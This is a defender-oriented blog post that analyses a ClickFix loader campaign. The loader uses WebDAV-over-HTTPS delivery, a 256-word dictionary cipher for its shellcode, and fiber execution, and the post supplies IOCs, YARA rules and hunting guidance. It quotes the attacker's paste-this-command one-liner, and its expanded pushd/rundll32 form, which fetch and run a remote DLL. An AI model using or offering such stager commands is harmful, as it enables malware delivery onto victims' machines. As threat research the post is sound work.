Post

They built a dictionary to hide their shellcode: the pishbini90ai ClickFix loader

A ClickFix loader that hides shellcode as 256 English words in .rdata, delivers via WebDAV-over-HTTPS, and executes via Windows fibers. IOCs and YARA inside.

They built a dictionary to hide their shellcode: the pishbini90ai ClickFix loader

The views and opinions expressed in this post are my own and do not represent those of my employer. This is a personal blog where I share research and things I’m learning.

TL;DR

A ClickFix campaign serving a 2.4 MB PE32 DLL from iyrxs.pishbini90ai[.]com via WebDAV-over-HTTPS. The interesting part is the encoding scheme: the DLL hides 304 KB of shellcode as 256 English words baked into its .rdata section – a substitution cipher where every byte maps to a word, key material fully embedded at build time. After decoding, execution goes through Windows fibers instead of a new thread. The inner payload is encrypted and was not recovered statically. Infrastructure confirmed live as of 11 June 2026.

If this is your fleet, do these first:

  • Block pishbini90ai[.]com and *.pishbini90ai[.]com at DNS and proxy immediately
  • Search proxy/DNS/NGFW logs for the GUID bc1fc622-be49-4978-a48c-fa728a19b9df across your full retention window – any hit is a confirmed delivery event
  • Hunt EDR for rundll32.exe command lines containing .cl,# or @SSL\ – any rundll32 google.cl hit should be treated as a fully compromised host

Full IOCs and detection rules are at the bottom, with the complete detection pack in the detections repo.

When a file extension is a lie

I came across a ClickFix lure recently – one of those social-engineering prompts designed to trick you into running attacker-controlled code yourself. The lure asks the victim to paste a command into the Run dialog, pretending the browser needs a manual “fix” to display content. A technique that has been doing the rounds, and effective precisely because the user becomes the downloader.

The command itself is worth reading before we go further:

cmd /v:on /c "set c=pushd&set e=pishbini90ai[.]com&set b=rundll32&call !c! \\iyrxs.!e!@SSL\bc1fc622-be49-4978-a48c-fa728a19b9df & !b! google.cl,#1"

Three things stand out immediately. First, /v:on enables delayed variable expansion, so the actual domain and binary names don’t appear literally in the paste – static string inspection misses the domain entirely. Second, @SSL\ in that UNC path is how Windows maps an HTTPS WebDAV share as a drive letter using nothing but a built-in pushd trick. Third, google.cl: an extension that mimics an OpenCL source file, served by the server with Content-Type: text/x-opencl-src.

It is not an OpenCL file. It is a 2.4 MB PE32 DLL. And what is inside it is the interesting part. Let’s walk through it.

Defender quick reference

FieldDetails
Activity typeWebDAV DLL stager / shellcode loader
Primary artifactsgoogle.cl DLL (2.4 MB), iyrxs.pishbini90ai[.]com, GUID bc1fc622-be49-4978-a48c-fa728a19b9df
VerdictMalicious
ConfidenceHigh (full delivery chain decoded); Unknown (inner payload family – not recovered statically)
Key logsEID 4688 (process creation), proxy/DNS logs, EDR API telemetry
ATT&CKT1204.002, T1059.003, T1218.011, T1071.001, T1105, T1027, T1027.009, T1036.008, T1055, T1497.003
First defender actionsBlock domain; search for delivery GUID; isolate any host with rundll32 google.cl in cmdline
Detection opportunitiesYARA (.rdata word-list fingerprint), Sigma (cmd /v + @SSL), EDR behavioural (fiber + VirtualProtect)
False-positive notesNone known for the full delivery chain signature; rundll32 + non-DLL extension has rare but possible FPs

The attack at a glance

  1. Social engineering (ClickFix) – victim pastes a cmd.exe one-liner from a fake browser prompt
  2. Delayed expansion obfuscation – cmd /v:on hides the domain and binary names behind !var! substitution; static analysis of the paste misses the domain
  3. WebDAV-over-HTTPS stagingpushd \\iyrxs.pishbini90ai[.]com@SSL\<GUID> maps the HTTPS share as a drive letter; server returns HTTP 207 on PROPFIND (confirmed live)
  4. Rundll32 proxy executionrundll32 google.cl,#1 loads the DLL from the mapped drive; .cl extension masquerades as OpenCL source
  5. Word-substitution cipher decode – the DLL decodes 304,375 bytes of shellcode from a 256-word English dictionary compiled into .rdata
  6. Anti-sandbox delays – Sleep(1s) before decode, Sleep(6s) after – 7 seconds total before shellcode runs
  7. Fiber-based shellcode executionCreateFiber + SwitchToFiber hands control to the decoded shellcode, bypassing some thread-creation hooks
  8. Inner payload (unknown) – near-maximum entropy (7.995/8.0); encrypted; family not confirmed without dynamic analysis

How it works

Stage 1 – ClickFix delivery and WebDAV staging

The delivery is ClickFix: the victim pastes a cmd.exe one-liner, typically from a page that claims the browser needs to run a “verification” command to display content. Expanding the delayed variables by hand gives the actual execution:

pushd \\iyrxs.pishbini90ai[.]com@SSL\bc1fc622-be49-4978-a48c-fa728a19b9df
rundll32 google.cl,#1

The pushd \\host@SSL\path form is how Windows maps an HTTPS WebDAV share as a drive letter – no net use, no separate tool. The server returns HTTP 207 on a PROPFIND request, listing google.cl in the directory. Fetching it with the Windows WebDAV client user-agent (Microsoft-WebDAV-MiniRedir/10.0.19041) returns the DLL at HTTP 200.

The timing is tight: the DLL compile timestamp is 9 June 2026, the WebDAV directory was created 10 June, and the sample was discovered 11 June. This operator is actively building.

The GUID delivery path (bc1fc622-be49-4978-a48c-fa728a19b9df) is worth noting for two reasons. It evades URL pattern-matching rules that look for obvious paths, and it may be victim- or campaign-specific – which means it is an excellent pivot. Search your proxy and DNS logs for it.

The rundll32.exe invocation fits a broader category of living-off-the-land tradecraft – using a trusted, signed Windows binary to execute untrusted code. rundll32 loading a DLL from a network path is one of the canonical LOLBIN patterns, and it works because rundll32 itself is allowed everywhere by default.

Stage 2 – The word-substitution cipher

This is the part that made me stop and look twice. The DLL’s export (aeertfdd, ordinal 1) calls an init routine that passes the address of a null-separated English word list stored in .rdata – 256 words, one per possible byte value (0x00 through 0xFF). The .data section holds 304,375 four-byte pointer values, one per byte of the encoded shellcode. The decode loop reverse-maps each pointer to its position in the word table to reconstruct each original byte.

In rough Python, reversing it looks like this:

1
2
3
4
5
6
# t2: 256-entry word pointer table (.data at file offset 0x1c2f40)
# t1: 304,375 encoded byte pointers (.data at file offset 0x99ba0)
t2 = struct.unpack_from('<256I', raw, 0x1c2f40)
t1 = struct.unpack_from('<304375I', raw, 0x99ba0)
rev = {ptr: idx for idx, ptr in enumerate(t2)}
decoded = bytes([rev.get(ptr, 0x00) for ptr in t1])

The word list starts: enforcement, bother, secret, gas, heaven, wealthy, fellow, orange, guest, island...

Someone compiled a 256-word English dictionary into their DLL and used it as an encoding alphabet for 304 KB of shellcode. The entire key is embedded – nothing fetched at runtime. On disk, the DLL looks like a moderately sized PE with a lot of English strings in .rdata and a big apparently-inert blob in .data. Overall entropy is 5.1, which is well below the range that triggers “this is packed” heuristics. It is a neat trick. It also decoded cleanly once the table layout was identified.

Stage 3 – Fiber execution and the unknown inner payload

After the decode, the DLL writes the 304 KB shellcode into a pre-zeroed .text section (built as a landing zone at compile time), makes it executable with VirtualProtect, then calls CreateFiber + SwitchToFiber to hand over control. Fibers run in the same thread as the calling function – unlike a new thread, they don’t trigger the callbacks that some userland hooks use to intercept execution.

Two Sleep calls gate the shellcode: 1,000 ms before decode, 6,000 ms after – 7 seconds total. Basic sandbox evasion: many automated analysis environments time out or flag the sample as clean before the 7-second mark.

The decoded shellcode opens with an 11-byte NOP sled, followed by two sequential XOR/hash decoder stubs using the call-then-pop IP-relative trick to locate themselves in memory. The inner payload has entropy of 7.995/8.0 and no readable strings. It was not recovered statically. The technique profile – 304 KB, in-memory decoded, encrypted inner stage, fiber delivery – is consistent with a commercial implant, but that is a possibility, not a conclusion. Dynamic analysis or sandbox detonation is required to identify the family.

Techniques observed (MITRE ATT&CK)

The following techniques have been mapped to MITRE ATT&CK for future reference.

TacticTechniqueATT&CK IDWhat it did here
Initial AccessUser Execution: Malicious LinkT1204.002ClickFix lure; victim pastes cmd one-liner
ExecutionWindows Command ShellT1059.003cmd /v:on with delayed expansion to hide domain and tool names
ExecutionRundll32T1218.011rundll32 google.cl,#1 – ordinal call, no path, runs from mapped WebDAV drive
C2Web ProtocolsT1071.001WebDAV-over-HTTPS to iyrxs.pishbini90ai[.]com
C2Ingress Tool TransferT1105DLL fetched from WebDAV share via Windows mini-redirector
Defense EvasionObfuscated FilesT1027256-word substitution cipher encodes 304 KB shellcode in .data
Defense EvasionEmbedded PayloadsT1027.009Shellcode decoded to .text landing zone at runtime
Defense EvasionFile Type MismatchT1036.008google.cl served as text/x-opencl-src; is a PE32 DLL
Defense EvasionProcess Injection (Fiber)T1055CreateFiber + SwitchToFiber for shellcode execution
Defense EvasionTime-Based EvasionT1497.003Sleep(1000) + Sleep(6000) before shellcode runs

Why this matters

This is a fully decoded stager with an unrecovered inner payload – which means the delivery chain is confirmed but the final objective is still open. Given the technique profile – fiber delivery, multi-pass encrypted inner stage, Cloudflare-fronted infrastructure, fresh compile timestamps, custom encoding scheme – this is not a commodity dropper built from a kit.

The relevant question for most defenders is simpler: if your users can paste a command from a browser page into the Run dialog and have it execute, this chain lands without touching a macro, a vulnerable application, or an exploit. It gets from “user pastes command” to “shellcode running in memory” in about 7 seconds.

The attacker gets a foothold the moment rundll32 calls that export. What happens next depends on the inner payload – and we don’t know what it does yet.

What defenders can do

Technique (ATT&CK)What to doEssential EightWhat to hunt for
ClickFix / User Execution (T1204.002)Restrict cmd.exe from being spawned by browser processes; user awareness trainingApplication Control (author’s extension of T1218 -> AppCtrl)EID 4688: cmd.exe parented to browser or with /v and @SSL\ in cmdline
WebDAV staging (T1071.001, T1105)Default-deny egress on outbound WebDAV HTTPS; DNS block on C2 domainNo direct E8 home – network architectureProxy: outbound PROPFIND on HTTPS/443; Windows WebDAV UA in proxy logs
Rundll32 proxy execution (T1218.011)Application control rules restricting rundll32 to approved paths; deny non-DLL extensionsApplication Control (L2+)EID 4688: rundll32.exe with .cl or non-DLL extension in commandline
Word-cipher obfuscation (T1027)Application Control blocks the DLL regardless of encoding schemeApplication Control (L1)YARA on endpoint: .rdata word-list fingerprint + fiber import pair
Fiber shellcode execution (T1055)Application Control prevents the DLL; at runtime, EDR API telemetryApplication Control (author’s judgement – prevents loader at execution step)EDR: VirtualProtect + CreateFiber/SwitchToFiber within rundll32, ~7s after start
Time-based sandbox evasion (T1497.003)No direct E8 home – catch it at the execution stepNo direct E8 homeEDR behavioural: rundll32 sleeping ~7s then calling VirtualProtect

Application control is the right prevention layer

The entire chain depends on rundll32 being allowed to load an arbitrary DLL from a network path. Application Control bites here because google.cl loaded from a WebDAV drive is not a signed, approved binary. A WDAC or AppLocker policy that restricts rundll32 to loading files from %SystemRoot% and approved paths stops this campaign cold.

The companion control is restricting cmd.exe from being launched by browser or Run contexts where there is no legitimate need to map network drives and call rundll32. This is Application Control applied to the parent-child execution chain, not just the payload. The relevant ASD/ACSC guidance is Implementing Application Control (November 2023) – maturity-level requirements there are explicit about what “approved” means and the hierarchy from hash rules through to publisher rules.

Controlling WebDAV egress

There is no clean Essential Eight strategy that covers WebDAV C2 directly. The network control is still straightforward: default-deny on outbound HTTPS to arbitrary hosts from workstations, and a proxy that makes WebDAV PROPFIND traffic visible. The Windows WebDAV mini-redirector user-agent (Microsoft-WebDAV-MiniRedir/10.0.19041) is distinctive enough that any outbound PROPFIND from a workstation is worth a second look. DNS blocking at *.pishbini90ai[.]com is an immediate free action.

The GUID-based delivery path is an anti-pattern-matching trick. URL filtering rules looking for known-bad strings won’t catch this by default – but domain reputation and the apex block will. For the broader technique, see Strategies to Mitigate Cyber Security Incidents – Mitigation Details for network segmentation and egress controls that don’t map cleanly to the Essential Eight.

Hunting what got through

If prevention failed, the GUID is your best prior-infection pivot. Search every available log source – proxy, DNS, NGFW – for bc1fc622-be49-4978-a48c-fa728a19b9df across your full retention window. Any hit is a confirmed delivery event. Any machine with rundll32 google.cl in its process creation logs should be treated as fully compromised and triaged for further C2 activity immediately.

Hunting and detection summary

  • EID 4688: cmd.exe with /v AND @SSL\ AND rundll32 in the same commandline – ClickFix WebDAV delivery
  • EID 4688: rundll32.exe with a non-DLL/OCX/CPL extension in the commandline (e.g. .cl,#)
  • Proxy/DNS: any request to pishbini90ai[.]com or *.pishbini90ai[.]com
  • Proxy/DNS/NGFW: GUID bc1fc622-be49-4978-a48c-fa728a19b9df in URL paths – prior infection pivot, run across full retention
  • Proxy: outbound PROPFIND on HTTPS port 443 to external hosts (WebDAV drive mapping)
  • EDR behavioural: rundll32 sleeping ~7 seconds then calling VirtualProtect, followed by CreateFiber + SwitchToFiber
  • YARA (endpoint): .rdata word-list byte sequence + fiber import pair in a 2-4 MB PE (rules below)

Indicators of Compromise

A detection companion folder is available at github.com/BlueTeamCoolTeam/detections – campaigns/pishbini90ai-clickfix/ with YARA rules, Sigma rules, KQL queries, and a full IOC CSV.

Hashes

TypeIndicatorNotes
SHA256f39bf61a139f0571e4a6624d68d284d67e38875f8ddc648d914323aeadb4b9e1google.cl – loader DLL (2,468,352 bytes)
MD50cc2d17469b0d4c8a13c748cb0bb5b28google.cl DLL
SHA256024574897599a6eeba572d28a6d440d6fbae0e7e85c36d2f393c51d5c9946e3cDecoded shellcode (payload_decoded.bin)
MD5baf10fef9b89fee262055ab4ae472c6fDecoded shellcode

Network

TypeIndicatorNotes
Domainpishbini90ai[.]comC2 apex – block + all subdomains
Domainiyrxs.pishbini90ai[.]comWebDAV delivery host; confirmed live 11 June 2026
URLhxxps://iyrxs.pishbini90ai[.]com/bc1fc622-be49-4978-a48c-fa728a19b9df/google.clPayload delivery URL
IP104.21.26[.]101Cloudflare CDN – shared infrastructure, low confidence for blocking
IP172.67.135[.]218Cloudflare CDN – shared infrastructure, low confidence for blocking

Host

TypeIndicatorNotes
Filenamegoogle.clPayload DLL served from WebDAV share; .cl extension masquerades as OpenCL source
GUIDbc1fc622-be49-4978-a48c-fa728a19b9dfWebDAV delivery path component – pivot in proxy/DNS/NGFW logs
DLL exportaeertfdd @ ordinal 1Rundll32 entry point; randomised name
PE timestamp2026-06-09T20:10:36ZCompiled ~48 hours before discovery
Image base0x6CB00000Non-standard preferred base; memory-scan pivot

Detection rules

rule ClickFix_pishbini90ai_WebDAV_Stager {
    meta:
        author      = "Luke Wilkinson"
        date        = "2026-06-11"
        description = "ClickFix cmd stager delivering WebDAV DLL via pishbini90ai[.]com"
        reference   = "https://blueteam.cool/posts/pishbini90ai-clickfix/"
        sha256      = "f39bf61a139f0571e4a6624d68d284d67e38875f8ddc648d914323aeadb4b9e1"

    strings:
        // C2 domain (fanged in rule body so rule matches real content)
        $domain  = "pishbini90ai.com" ascii wide nocase
        // @SSL\ WebDAV-over-HTTPS UNC path pattern
        $webdav  = "@SSL\\" ascii wide nocase
        // Randomised DLL export name
        $export  = "aeertfdd" ascii
        // Word-list cipher alphabet fragment from .rdata
        $word1   = "enforcement" ascii
        $word2   = "bother" ascii
        $word3   = "wealthy" ascii
        $word4   = "literary" ascii
        // rundll32 ordinal invocation
        $rundll  = "google.cl,#1" ascii wide nocase

    condition:
        $domain or $webdav or $export or (3 of ($word*)) or $rundll
}

rule ClickFix_WordSubstitutionCipher_DLL {
    meta:
        author      = "Luke Wilkinson"
        date        = "2026-06-11"
        description = "PE DLL with 256-word substitution cipher payload encoding; fiber-based shellcode execution. pishbini90ai campaign."
        reference   = "https://blueteam.cool/posts/pishbini90ai-clickfix/"
        sha256      = "f39bf61a139f0571e4a6624d68d284d67e38875f8ddc648d914323aeadb4b9e1"

    strings:
        // enforcement\x00bother\x00secret\x00 -- null-separated word list from .rdata
        $wordlist = { 00 65 6e 66 6f 72 63 65 6d 65 6e 74 00 62 6f 74 68 65 72 00 73 65 63 72 65 74 00 }
        $fiber1  = "CreateFiber" ascii
        $fiber2  = "SwitchToFiber" ascii
        $export  = "aeertfdd" ascii

    condition:
        uint16(0) == 0x5A4D and
        ($wordlist or ($fiber1 and $fiber2)) and
        filesize > 2MB and filesize < 4MB
}

Sigma rules and KQL queries are in the detections repo.

Closing

The word-substitution cipher is the most technically interesting part of this sample. It is not a strong encoding – reverse the lookup table and the shellcode falls out in a few lines of Python – but it does not need to be strong. It is there to defeat string-based detection and keep the binary’s entropy below the range that triggers packer heuristics, and for that purpose a 256-word English dictionary baked into .rdata is perfectly adequate. Someone put real thought into the encoding design, which makes the unrecovered inner payload the open question worth watching.

Block the domain. Hunt the GUID. Treat any rundll32 google.cl hit in your process creation logs as a confirmed compromise.

Stay curious.


On methodology: the investigation is mine. The reverse engineering and analysis assembly were carried out with AI workflows (Claude, primarily). I reviewed every finding. Errors are mine - ping me on X or Instagram if you spot something off.

References

This post is licensed under CC BY 4.0 by the author.